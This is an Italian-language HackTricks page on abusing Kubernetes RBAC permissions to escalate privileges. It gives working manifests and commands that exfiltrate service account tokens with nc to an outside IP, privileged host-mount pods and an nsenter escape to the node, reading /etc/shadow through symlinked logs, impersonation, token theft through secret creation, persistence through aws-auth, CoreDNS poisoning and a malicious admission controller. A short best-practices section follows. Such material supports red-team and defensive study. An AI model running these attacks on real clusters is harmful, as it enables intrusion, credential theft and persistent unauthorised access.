Abusing Roles/ClusterRoles in Kubernetes

Reading time: 28 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.
Ricorda che puoi ottenere tutte le risorse supportate con kubectl api-resources

Privilege Escalation

Si riferisce all'arte di ottenere accesso a un diverso principale all'interno del cluster con privilegi diversi (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente 4 tecniche principali per escalare i privilegi:

  • Essere in grado di impersonare altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
  • Essere in grado di creare/patchare/eseguire pod dove puoi trovare o allegare SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
  • Essere in grado di leggere segreti poiché i token SAs sono memorizzati come segreti
  • Essere in grado di uscire verso il nodo da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente)
  • Una quinta tecnica che merita una menzione è la capacità di eseguire port-forward in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.

Access Any Resource or Verb (Wildcard)

Il wildcard (*) concede permessi su qualsiasi risorsa con qualsiasi verbo. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Accedi a qualsiasi risorsa con un verbo specifico

In RBAC, alcune autorizzazioni comportano rischi significativi:

  1. create: Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione di privilegi.
  2. list: Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
  3. get: Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente, aumentando i privilegi.

Esempio di un pod che ruberà il token del Service Account bootstrap-signer e lo invierà all'attaccante:

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creazione e fuga del Pod

Quanto segue indica tutti i privilegi che un container può avere:

  • Accesso privilegiato (disabilitando le protezioni e impostando le capacità)
  • Disabilitare i namespace hostIPC e hostPid che possono aiutare ad elevare i privilegi
  • Disabilitare il namespace hostNetwork, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
  • Montare gli host / all'interno del container
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crea il pod con:

bash
kubectl --token $token create -f mount_root.yaml

One-liner da questo tweet e con alcune aggiunte:

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Stealth

Probabilmente vuoi essere più furtivo, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Se puoi creare un pod (e opzionalmente un service account) potresti essere in grado di ottenere privilegi nell'ambiente cloud assegnando ruoli cloud a un pod o a un service account e poi accedervi.
Inoltre, se puoi creare un pod con il namespace di rete host puoi rubare il ruolo IAM dell'istanza node.

Per ulteriori informazioni controlla:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

È possibile abusare di questi permessi per creare un nuovo pod e stabilire privilegi come nell'esempio precedente.

Il seguente yaml crea un daemonset ed esfiltra il token del SA all'interno del pod:

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec è una risorsa in kubernetes utilizzata per eseguire comandi in una shell all'interno di un pod. Questo consente di eseguire comandi all'interno dei container o ottenere una shell all'interno.

Pertanto, è possibile entrare in un pod e rubare il token del SA, o entrare in un pod privilegiato, fuggire verso il nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo:

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni tutti i pod in un container con kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' e poi indica il container in cui vuoi eseguirlo con kubectl exec -it <pod_name> -c <container_name> -- sh

Se si tratta di un container distroless, puoi provare a utilizzare shell builtins per ottenere informazioni sui container o caricare i tuoi strumenti come un busybox usando: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Questa autorizzazione consente di inoltrare una porta locale a una porta nel pod specificato. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:

bash
kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Come indicato in questa ricerca, se puoi accedere o creare un pod con la directory /var/log/ dei host montata su di esso, puoi uscire dal container.
Questo è fondamentalmente perché quando il Kube-API cerca di ottenere i log di un container (utilizzando kubectl logs <pod>), richiede il file 0.log del pod utilizzando l'endpoint /logs/ del servizio Kubelet.
Il servizio Kubelet espone l'endpoint /logs/ che è fondamentalmente l'esposizione del filesystem /var/log del container.

Pertanto, un attaccante con accesso in scrittura nella cartella /var/log/ del container potrebbe abusare di questo comportamento in 2 modi:

  • Modificando il file 0.log del proprio container (di solito situato in /var/logs/pods/namespace_pod_uid/container/0.log) per essere un symlink che punta a /etc/shadow per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se l'attaccante controlla qualsiasi principale con i permessi per leggere nodes/log, può semplicemente creare un symlink in /host-mounted/var/log/sym a / e quando accede a https://<gateway>:10250/logs/sym/ elencherà il filesystem root dell'host (cambiando il symlink può fornire accesso ai file).
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratorio e un exploit automatizzato possono essere trovati in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassare la protezione readOnly

Se sei abbastanza fortunato e la capacità altamente privilegiata CAP_SYS_ADMIN è disponibile, puoi semplicemente rimontare la cartella come rw:

bash
mount -o rw,remount /hostlogs/

Bypassare la protezione hostPath readOnly

Come indicato in questa ricerca, è possibile bypassare la protezione:

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonare account privilegiati

Con un privilegio di impersonificazione dell'utente, un attaccante potrebbe impersonare un account privilegiato.

Basta utilizzare il parametro --as=<username> nel comando kubectl per impersonare un utente, o --as-group=<group> per impersonare un gruppo:

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Oppure usa l'API REST:

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Elencare i segreti

Il permesso di elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti accedendo all'endpoint API REST:

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Creazione e Lettura di Segreti

Esiste un tipo speciale di segreto Kubernetes di tipo kubernetes.io/service-account-token che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso:

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Esempio di sfruttamento:

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace.

Lettura di un segreto – forzatura dei token ID

Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di elencare segreti, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il source code.

Il token è generato da un set limitato di 27 caratteri (bcdfghjklmnpqrstvwxz2456789), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.

EncrpytionConfiguration in chiaro

È possibile trovare chiavi in chiaro per crittografare i dati a riposo in questo tipo di oggetto come:

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Se hai il verbo create nella risorsa certificatesigningrequests (o almeno in certificatesigningrequests/nodeClient). Puoi creare un nuovo CeSR di un nuovo nodo.

Secondo la documentazione è possibile approvare automaticamente queste richieste, quindi in quel caso non hai bisogno di permessi extra. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in certificatesigningrequests/approval e approve in signers con resourceName <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un esempio di un ruolo con tutti i permessi richiesti è:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Quindi, con la nuova CSR del nodo approvata, puoi abuse delle autorizzazioni speciali dei nodi per steal secrets e escalate privileges.

In questo post e questo la configurazione del GKE K8s TLS Bootstrap è configurata con automatic signing e viene abusata per generare credenziali di un nuovo nodo K8s e poi abusare di queste per escalare privilegi rubando segreti.
Se hai i privilegi menzionati potresti fare la stessa cosa. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un nodo può accedere solo ai segreti dei contenitori montati su di esso.

Il modo per bypassare questo è semplicemente creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato (ma controlla solo come farlo nel primo post):

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

I principi che possono modificare configmaps nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap aws-auth.
I verbi necessari sono update e patch, o create se il configmap non è stato creato:

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

Puoi usare aws-auth per la persistenza dando accesso agli utenti di altri account.

Tuttavia, aws --profile other_account eks update-kubeconfig --name <cluster-name> non funziona da un account diverso. Ma in realtà aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funziona se metti l'ARN del cluster invece del solo nome.
Per far funzionare kubectl, assicurati di configurare il kubeconfig della vittima e negli argomenti di esecuzione di aws aggiungi --profile other_account_role in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.

CoreDNS config map

Se hai i permessi per modificare il coredns configmap nel namespace kube-system, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per rubare informazioni sensibili o iniettare contenuti malevoli.

I verbi necessari sono update e patch sul coredns configmap (o su tutte le config map).

Un normale file coredns contiene qualcosa del genere:

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Un attaccante potrebbe scaricarlo eseguendo kubectl get configmap coredns -n kube-system -o yaml, modificarlo aggiungendo qualcosa come rewrite name victim.com attacker.com in modo che ogni volta che si accede a victim.com, in realtà si accede al dominio attacker.com. E poi applicarlo eseguendo kubectl apply -f poison_dns.yaml.

Un'altra opzione è semplicemente modificare il file eseguendo kubectl edit configmap coredns -n kube-system e apportando modifiche.

Escalation in GKE

Ci sono 2 modi per assegnare permessi K8s ai principi GCP. In ogni caso, il principio ha anche bisogno del permesso container.clusters.get per poter raccogliere le credenziali per accedere al cluster, oppure dovrai generare il tuo file di configurazione kubectl (segui il link successivo).

warning

Quando si parla con l'endpoint API K8s, il token di autenticazione GCP verrà inviato. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima se il principio (per email) ha accesso all'interno del cluster, poi controllerà se ha accesso tramite GCP IAM.
Se qualcuno di questi è vero, riceverà una risposta. Se no, verrà fornito un errore che suggerisce di dare permessi tramite GCP IAM.

Quindi, il primo metodo è utilizzare GCP IAM, i permessi K8s hanno i loro permessi equivalenti GCP IAM, e se il principio li ha, potrà usarli.

GCP - Container Privesc

Il secondo metodo è assegnare permessi K8s all'interno del cluster identificando l'utente tramite la sua email (inclusi gli account di servizio GCP).

Creare token serviceaccounts

Principi che possono creare TokenRequests (serviceaccounts/token) Quando si parla con l'endpoint API K8s SAs (info da qui).

ephemeralcontainers

Principi che possono update o patch pods/ephemeralcontainers possono ottenere esecuzione di codice su altri pod, e potenzialmente uscire al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato.

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Principi con uno dei verbi create, update o patch su validatingwebhookconfigurations o mutatingwebhookconfigurations potrebbero essere in grado di creare una di queste webhookconfigurations per poter escalare i privilegi.

Per un mutatingwebhookconfigurations esempio controlla questa sezione di questo post.

Escalate

Come puoi leggere nella sezione successiva: Built-in Privileged Escalation Prevention, un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il verbo escalate o * su roles o clusterroles e le rispettive opzioni di binding.
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.

Nodes proxy

Principi con accesso alla nodes/proxy subrisorsa possono eseguire codice su pod tramite l'API Kubelet (secondo questo). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:

Kubelet Authentication & Authorization

Hai un esempio di come ottenere RCE parlando autorizzato a un'API Kubelet qui.

Eliminare pod + nodi non pianificabili

Principi che possono eliminare pod (delete verbo su pods risorsa), o evict pod (create verbo su pods/eviction risorsa), o cambiare lo stato del pod (accesso a pods/status) e possono rendere altri nodi non pianificabili (accesso a nodes/status) o eliminare nodi (delete verbo su nodes risorsa) e hanno il controllo su un pod, potrebbero rubare pod da altri nodi in modo che vengano eseguiti nel nodo compromesso e l'attaccante può rubare i token da quei pod.

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Stato dei servizi (CVE-2020-8554)

I principi che possono modificare services/status possono impostare il campo status.loadBalancer.ingress.ip per sfruttare il CVE-2020-8554 non corretto e lanciare attacchi MiTM contro il cluster. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo questo).

Stato dei nodi e dei pod

I principi con permessi update o patch su nodes/status o pods/status potrebbero modificare le etichette per influenzare i vincoli di pianificazione applicati.

Prevenzione dell'Escalation dei Privilegi Integrata

Kubernetes ha un meccanismo integrato per prevenire l'escalation dei privilegi.

Questo sistema garantisce che gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.

La regola stabilisce che un utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello di cluster per i ClusterRoles o limitato allo stesso namespace (o a livello di cluster) per i Roles.

warning

C'è un'eccezione a questa regola precedente. Se un principio ha il verbo escalate su roles o clusterroles, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.

Ottieni & Patch RoleBindings/ClusterRoleBindings

caution

Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.

Il privilegio di creare Rolebindings consente a un utente di associare ruoli a un account di servizio. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.

Altri Attacchi

App proxy Sidecar

Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.

Crea un'app proxy Sidecar

Un contenitore sidecar consiste semplicemente nell'aggiungere un secondo (o più) contenitore all'interno di un pod.

Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori:

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, puoi semplicemente aggiungere un nuovo container nella specifica. Nota che puoi dare più permessi al secondo container che il primo non avrà.

Maggiore informazione su: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Malicious Admission Controller

Un admission controller intercetta le richieste al server API di Kubernetes prima della persistenza dell'oggetto, ma dopo che la richiesta è stata autenticata e autorizzata.

Se un attaccante riesce in qualche modo a iniettare un Mutation Admission Controller, sarà in grado di modificare richieste già autenticate. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.

Esempio da https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Controlla lo stato per vedere se è pronto:

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Quindi distribuisci un nuovo pod:

bash
kubectl run nginx --image nginx
kubectl get po -w

Quando puoi vedere l'errore ErrImagePull, controlla il nome dell'immagine con una delle seguenti query:

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine nginx, ma l'immagine finale eseguita è rewanthtammana/malicious-image. Cosa è appena successo!!?

Tecnicalità

Lo script ./deploy.sh stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Il frammento sopra sostituisce la prima immagine del container in ogni pod con rewanthtammana/malicious-image.

Bypass di OPA Gatekeeper

Kubernetes OPA Gatekeeper bypass

Migliori Pratiche

Disabilitare l'Automount dei Token degli Account di Servizio

  • Pods e Account di Servizio: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
  • Come Applicare: Imposta automountServiceAccountToken: false nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.

Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings

  • Inclusione Selettiva: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.

Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide

  • Ruoli vs. ClusterRoles: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi.

Utilizza strumenti automatizzati

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks